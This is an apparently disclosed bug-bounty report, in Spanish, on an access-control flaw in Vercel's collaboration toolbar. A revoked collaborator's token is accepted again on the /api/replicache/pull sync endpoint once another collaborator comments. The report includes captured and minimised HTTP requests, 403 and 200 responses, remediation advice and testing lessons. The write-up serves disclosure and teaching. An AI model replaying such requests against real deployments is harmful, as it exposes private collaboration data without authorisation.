Resumen
Los despliegues de Vercel incluyen una barra de herramientas de colaboración (servida desde vercel.live) que permite dejar comentarios sobre la página. Esos datos se sincronizan mediante el endpoint POST /api/replicache/pull, que exige una cabecera authorization emitida para cada colaborador.
Cuando se revoca a un colaborador, su token deja de servir y las peticiones devuelven correctamente 403 Forbidden. El problema aparece después: en cuanto otro colaborador que sigue activo interactúa con la barra (por ejemplo, deja un comentario), el token del colaborador revocado vuelve a aceptarse. Con ese mismo token, la persona expulsada puede llamar otra vez al endpoint de sincronización y obtener los datos privados de colaboración del despliegue, incluidos los hilos y mensajes de comentarios, sin haber sido reinvitada ni haber recibido ninguna autorización nueva.
HackerOne clasifica la debilidad como Access Control Check Implemented After Asset is Accessed (comprobación de control de acceso hecha después de acceder al recurso).
Pasos de reproducción
- Crear una cuenta en Vercel y un despliegue.
- Invitar al COLABORADOR A.
- Entrar al despliegue como COLABORADOR A con el proxy de interceptación activado y, en la página del despliegue, pulsar el pequeño icono de la derecha para interactuar con la barra y enviar un comentario mientras se capturan las peticiones.
- En el proxy, filtrar por
/api/replicache/pull?docID. Aparecerá una petición parecida a esta:
POST /api/replicache/pull?docID=live_mode_1@prj_Eimqu7kqIMhfOGdw5vYFaDEpSahL@dpl_8ibZZUZ4hjoK9sTZxL44EKeP5wWB HTTP/1.1
Host: vercel.live
Connection: keep-alive
Content-Length: 178
sec-ch-ua-platform: "Windows"
authorization: [REDACTADO]
x-replicache-requestid: ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616-ccacffbe-0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36
sec-ch-ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
content-type: application/json
sec-ch-ua-mobile: ?0
Accept: */*
Origin: https://vercel.live
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Sec-Fetch-Storage-Access: active
Referer: https://vercel.live/_next-live/feedback/feedback.html?dpl=dpl_As2srzacGYF1FM8XR4FJTCFVygCR
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9
Cookie: vercel-experiment-uuid=[REDACTADO]; vercel-feature-flags=[REDACTADO]
{"profileID":"p288938aa6057418f84ca8dc70f06f34d","clientID":"ab7ebaa4-f2c3-4827-a4b2-7fcc8bf0e616","cookie":{"version":56},"lastMutationID":13,"pullVersion":0,"schemaVersion":""}
Se eliminan las cabeceras y parámetros del cuerpo que no hacen falta, y el valor de cookie se fija en 1. La petición queda así:
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: [REDACTADO]
content-type: application/json
{"profileID":"","clientID":"","cookie":{"version":1}}
La respuesta contiene todos los comentarios. Después, se desactiva el proxy.
- Revocar al COLABORADOR A e invitar al COLABORADOR B.
- Entrar a la página del despliegue como COLABORADOR A: ya no puede usar la barra de herramientas. Reenviar como COLABORADOR A la petición preparada en el paso 4 (en el reporte, con
versiona50) devuelve403:
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: [REDACTADO]
content-type: application/json
{"profileID":"","clientID":"","cookie":{"version":50}}
Respuesta (cabeceras recortadas):
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
X-Matched-Path: /api/replicache/pull
{
"error": {
"message": "Not authorized.",
"code": "unauthorized",
"statusCode": 403,
"extras": {},
"isRaw": true
}
}
- Como COLABORADOR B (el nuevo colaborador activo), interactuar con la página: pulsar el icono de la barra de la derecha y comentar cualquier cosa (en la prueba de concepto, "ANYTHING").
- Reenviar de nuevo, como COLABORADOR A, exactamente la misma petición del paso 6 (con el
docIDpropio y la cabeceraauthorizationdel colaborador revocado). Ahora responde200 OKcon todos los mensajes:
POST /api/replicache/pull?docID=live_mode_1@prj_xcUQNkVarBAI1icuIfJI465i0UuR@dpl_31W3G8TZmu81RdPJJubhDrMEWoE1 HTTP/1.1
Host: vercel.live
Connection: keep-alive
sec-ch-ua-platform: "Windows"
authorization: [REDACTADO]
content-type: application/json
{"profileID":"","clientID":"","cookie":{"version":50}}
Extracto de la respuesta (recortada; se omiten la mayoría de campos y comentarios, y se han ocultado los nombres de usuario):
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Feedback-Rep-Cookie: {"version":12}
X-Matched-Path: /api/replicache/pull
{
"lastMutationID": 2,
"cookie": {
"version": 12
},
"patch": [{
"op": "put",
"key": "user-27sKiDzCe4w6wQKECRwrxkfv",
"value": {
"id": "27sKiDzCe4w6wQKECRwrxkfv",
"name": "[REDACTADO]",
"username": "[REDACTADO]",
"isExternal": true
}
}, {
"op": "put",
"key": "commentThread-CfAhsOLgxuV2",
"value": {
"id": "CfAhsOLgxuV2",
"page": "/",
"subject": "[team3project] TEST IDOR",
"comments": [{
"id": "OX7-HQLwVCs7PfSPI4WhE",
"text": "TEST IDOR",
"userId": "27sKiDzCe4w6wQKECRwrxkfv",
"deployment": {
"id": "dpl_31W3G8TZmu81RdPJJubhDrMEWoE1"
}
}, …],
"followingUsers": ["27sKiDzCe4w6wQKECRwrxkfv", "CzT5kf0A2FbUEgY7Q9RKktSG"]
}
}, …],
"httpRequestInfo": {
"httpStatusCode": 200,
"errorMessage": ""
}
}
La respuesta devuelve datos privados de colaboración: hilos de comentarios, su contenido, información del despliegue y datos de actividad de los colaboradores.
Impacto
Un usuario retirado explícitamente de un despliegue podía recuperar el acceso a recursos privados de colaboración usando un token ya revocado. En concreto, podía:
- Leer los comentarios privados del despliegue.
- Seguir la actividad de colaboración.
- Acceder al estado de colaboración del despliegue sin ser reinvitado.
- Según el investigador, además de leer mensajes, interactuar con el despliegue como cualquier usuario invitado.
Se rompe la garantía que se espera de una revocación: quien es retirado debe perder el acceso a los recursos protegidos de inmediato. HackerOne lo califica con severidad media y el reporte recibió recompensa (importe no público).
Remediación
El investigador propone:
- Comprobar el estado de revocación del colaborador en cada petición autenticada.
- Invalidar de inmediato todo el estado de autorización asociado a los colaboradores revocados.
- Impedir que los sistemas de sincronización de la colaboración restauren permisos a partir de datos de autorización obsoletos.
- Invalidar los estados de pertenencia cacheados al retirar a un colaborador.
- No permitir que un token revocado recupere el acceso por la actividad de otro colaborador.
Qué aprender de este caso
- Al probar una revocación de acceso, no basta con ver un
403justo después: guarda el token o la petición del usuario retirado y repítela tras provocar actividad legítima de otros usuarios sobre el mismo recurso (comentar, editar, invitar), porque es ahí donde puede reactivarse. - En endpoints de sincronización en tiempo real como
/api/replicache/pull, la autorización debe evaluarse en cada petición contra la membresía actual del documento, no contra un estado que otro evento pueda regenerar. - Si la revocación depende de cachés de pertenencia o de estado compartido por documento, retirar a alguien debe invalidar esas cachés de forma que ninguna escritura posterior de terceros devuelva el permiso.
- Reducir la petición capturada a lo mínimo (cabecera
authorization,docIDy un cuerpo casi vacío) facilita repetirla en distintos momentos y aislar qué cambia la respuesta.